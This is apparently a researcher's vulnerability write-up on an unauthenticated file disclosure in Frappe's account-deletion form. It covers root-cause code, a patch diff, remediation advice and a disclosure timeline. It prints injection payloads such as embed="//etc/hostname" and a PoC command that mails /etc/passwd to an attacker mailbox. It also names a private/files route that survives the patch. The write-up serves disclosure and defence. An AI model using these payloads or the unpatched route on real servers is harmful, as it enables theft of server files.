Frappe Unauthenticated Email Inline-Embed File Disclosure
TL;DR
- An unauthenticated visitor can read a file off the server through Frappe's stock account-deletion form, with no account and no victim interaction.
- The form's email field accepts an
embed=<path>directive, so the confirmation email Frappe sends back carries that file as an inline attachment. - Frappe validates the address but keeps the original string, and the email template renders it without escaping.
- Its inline-image scanner then reads the
embed=path it finds in the message straight off disk. - The accompanying PoC recovered
/etc/passwdfrom a 16.29.0 lab this way. - Frappe 15.117.0 and 16.30.0 restrict the path to three directories, which the advisory GHSA-8v98-cfpm-9p67 treats as the fix, but the named
private/files/read remains and no CVE is assigned.
Summary
- CVE: none assigned as of October 16, 2026
- Product: Frappe Framework (
frappe/frappe) - Vulnerability: Unauthenticated Local File Disclosure via Email Inline Embed
- Affected Versions:
< 15.117.0, < 16.30.0per the advisory; demonstrated on 16.29.0 - Fixed In: 15.117.0 and 16.30.0 per the advisory; the named
private/files/read remains - Severity: Critical (per advisory)
- CVSS Severity: 7.5 (high, reporter-assessed)
- Required Privilege: None (unauthenticated Guest)
- Advisory: GHSA-8v98-cfpm-9p67
- Reported: July 29, 2026
Introduction
[A]I was going through the Web Forms a logged-out visitor can reach on Frappe 16.29.0, looking for guest input that ends up somewhere more interesting than a database row. Most of it does not. The form writes a row, the target DocType validates the fields, and that is the end of it.
The account-deletion form does more than write a row. It also emails the visitor a confirmation, built from the address they typed in. Frappe's mail layer scans that rendered email for inline images and loads them from disk, which is a lot of trust to place in a field a guest controls.
Root Cause Analysis
The Original Email Value Survives Validation
Frappe 16.29.0 shipped the published request-to-delete-data Web Form with login_required disabled and its email field exposed. The corresponding web_form.accept RPC accepted Guest requests, copied configured values into a new document, and inserted it with permissions ignored.
The resulting PersonalDataDeletionRequest checked the email address, then sent the message:
# frappe/website/doctype/personal_data_deletion_request/personal_data_deletion_request.py
def autoname(self):
from frappe.model.naming import set_name_from_naming_options
# ... naming logic omitted; it does not modify self.email.
frappe.utils.validate_email_address(self.email, throw=True) # [1] Discards the returned address.
def after_insert(self):
self.send_verification_mail() # [2] Continues with the original string.
validate_email_address() returns a newly parsed string. It does not change its input. The call at [1] ignores that return value, so the hook at [2] still has the original attacker-controlled field.
The same send_verification_mail() method uses that field twice:
# frappe/website/doctype/personal_data_deletion_request/personal_data_deletion_request.py
frappe.sendmail(
recipients=self.email, # [3] Uses the original value as the recipient.
subject=_("Confirm Deletion of Account"),
template="delete_data_confirmation",
args={
"email": self.email, # [4] Also sends it to the HTML template.
"name": self.name,
"host_name": frappe.utils.get_url(),
"link": url,
},
header=[_("Confirm Deletion of Account"), "green"],
)
[3] determines where the message is delivered. [4] places the unnormalised value into the template arguments.
The delete_data_confirmation.html template inserts it into the HTML body:
{# frappe/templates/emails/delete_data_confirmation.html #}
{# [5] The email value is inserted into the rendered HTML body. #}
<p>{{_("We have received a request for deletion of {0} data associated with: {1}").format(host_name, email)}}.</p>
Frappe's email template environment did not enable HTML autoescaping, so [5] emitted the crafted value into the rendered message.
Inline Expansion Opens the Path
The inline-image logic in frappe/email/email_body.py searched the whole message rather than limiting itself to image elements:
# frappe/email/email_body.py
EMBED_PATTERN = re.compile("""embed=["'](.*?)["']""") # [6] Matches embed= anywhere in the HTML.
# ... unrelated email construction omitted.
def set_part_html(self, message, inline_images):
from email.mime.text import MIMEText
has_inline_images = EMBED_PATTERN.search(message) # [7] Searches the complete rendered body.
if has_inline_images:
# ... explicitly supplied inline-image indexing omitted.
message, _inline_images = replace_filename_with_cid(message, provided_images) # [8] Expands the matched path.
The broad expression at [6] finds the injected attribute. [7] applies it to the complete email, then [8] sends the captured value to the replacement helper.
That helper falls back to the filesystem in the same module:
# frappe/email/email_body.py
img_path = groups[0] # [9] Takes the value captured from embed=.
img_path_escaped = frappe.utils.html_utils.unescape_html(img_path)
filename = img_path_escaped.rsplit("/")[-1]
# check if the image is provided in the provided_images(by checking full path and basename)
filecontent = provided_images.get(img_path_escaped) or provided_images.get(filename)
if not filecontent:
filecontent = get_filecontent_from_path(img_path_escaped) # [10] Falls back to the filesystem.
# ... MIME metadata and HTML replacement omitted.
def get_filecontent_from_path(path):
if not path:
return
if path.startswith("/"):
path = path[1:] # [11] Removes one leading slash.
if path.startswith("assets/"):
# from public folder
full_path = os.path.abspath(path)
elif path.startswith("files/"):
# public file
full_path = frappe.get_site_path("public", path)
elif path.startswith("private/files/"):
# private file
full_path = frappe.get_site_path(path)
else:
full_path = path # [12] Uses every other path directly.
if os.path.exists(full_path):
with open(full_path, "rb") as f:
filecontent = f.read() # [13] Reads the selected file.
[9] and [10] move the captured string into the path resolver. A payload containing embed="//etc/hostname" loses one slash at [11], leaving the absolute path for [12] and [13]. The returned bytes become an inline MIME part in the attacker's confirmation email.
Frappe 15.116.1 contains the same source route for a catch-all address such as embed='//etc/hostname'@mail.example.test, on the version 15 side of the advisory's affected range. Its older validator rejects the RFC-comment form used on version 16. I did not reproduce the version 15 path.
Impact
A remote unauthenticated attacker can receive a nonempty local file readable by the Frappe process, subject to email-field, MIME, and delivery limits.
Exploitation
Preconditions
- The stock account-deletion Web Form exists, is published, and permits Guest submissions.
- Outgoing email and its queue worker are functioning.
- The Frappe processes can read the selected file.
- The attacker controls the destination mailbox or catch-all domain.
PoC
The client, frappe01_email_file_read.py, submits the payload, waits for the confirmation message over IMAP, and writes the matching MIME part to stdout or --output. The PoC repo names its clients after my report numbers, so this one is FRAPPE-01.
FRAPPE_POC_IMAP_PASSWORD='mailbox password' \
python3 frappe01_email_file_read.py \
--url https://frappe.example \
--file /etc/passwd \
--attacker-email attacker@example.test \
--imap-host imap.attacker.example \
--imap-user attacker@example.test
On Frappe 16.29.0 the confirmation email arrived with the file as an inline part:
_____ ____ _ ____ ____ _____
| ___| _ \ / \ | _ \| _ \| ____|
| |_ | |_) | / _ \ | |_) | |_) | _|
| _| | _ < / ___ \| __/| __/| |___
|_| |_| \_\/_/ \_\_| |_| |_____|
unauthenticated local file disclosure · FRAPPE-01
discovered by CryptoCat · cryptocat.me
[*] requesting /etc/passwd through recipient attacker@example.test
[+] Guest submission accepted; waiting for the matching email
[+] recovered 890 bytes
------------------------------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
[...]
frappe:x:1000:1000::/home/frappe:/usr/sbin/nologin
Use --attacker-domain instead of --attacker-email when you control a catch-all domain, which puts the payload in the local part. --path-mode private-file with a private/files/NAME path takes the route that survives the patch.
Patch Diffing
Frappe 15.117.0 and 16.30.0 changed the path resolver:
# frappe/email/email_body.py (get_filecontent_from_path)
if path.startswith("assets/"):
# from public folder
+ base_path = os.path.abspath("assets")
full_path = os.path.abspath(path)
elif path.startswith("files/"):
# public file
- full_path = frappe.get_site_path("public", path)
+ base_path = os.path.abspath(frappe.get_site_path("public", "files"))
+ full_path = os.path.abspath(frappe.get_site_path("public", path))
elif path.startswith("private/files/"):
# private file
- full_path = frappe.get_site_path(path)
+ base_path = os.path.abspath(frappe.get_site_path("private", "files"))
+ full_path = os.path.abspath(frappe.get_site_path(path))
else:
- full_path = path
+ return None # [14] No fallback to an arbitrary path.
+
+ if os.path.commonpath((base_path, full_path)) != base_path: # [15] Rejects traversal outside the root.
+ return None
if os.path.exists(full_path):
with open(full_path, "rb") as f: # [16] Reads a supported path, still with no File check.
filecontent = f.read()
[14] blocks the submitted absolute path, while [15] rejects lexical traversal outside an allowed root. The read at [16] remains for named private/files/ paths, without loading a File document.
The change uses abspath() and commonpath() but does not resolve symlink targets, so it does not establish whether those targets stay inside the allowed directories.
Remediation
Frappe 15.117.0 and 16.30.0 block the absolute-path payload. Frappe 16.52.0 and 15.123.1 are the current releases on October 16, 2026. In both, get_filecontent_from_path() is unchanged since that patch. The private/files/ branch still opens and returns the named file directly, without loading a File document or making a permission decision. The containment check bounds which directory an attacker can reach, and does not restore the missing authorisation step inside it.
Rendered HTML should not select server paths at all. Inline content should come from explicitly supplied bytes or a permission-checked File record, with regular-file and size checks before email construction.
The advisory's affected range of < 15.117.0 and < 16.30.0 covers the absolute-path read it describes and nothing later.
Disclosure Timeline
- July 29, 2026: Reported to
security@frappe.io. The same day, PR #41325 merged a path-containment fix intodevelop. - August 4, 2026: Frappe replied that the bug had already been reported independently, that the fix would ship in the next patch release, and that I would be credited in the advisory.
- August 5, 2026: Frappe 15.117.0 and 16.30.0 shipped the restriction.
- September 16, 2026: GHSA-8v98-cfpm-9p67 published, rated critical, crediting my friend lukmanazri, who reported the same bug independently.
- October 9, 2026: Frappe added my credit to the advisory. No CVE is assigned, and the
private/files/read is still in 16.52.0 and 15.123.1.
Conclusion
The caller ignored the email validator's normalised return value. The original address then entered the HTML message without escaping, where the inline-image scanner treated its embed= text as a file path.
The patch blocks absolute paths and lexical traversal outside the allowed directories. A rendered message can still name a file under private/files/, and Frappe reads it without checking whether the requester may access it.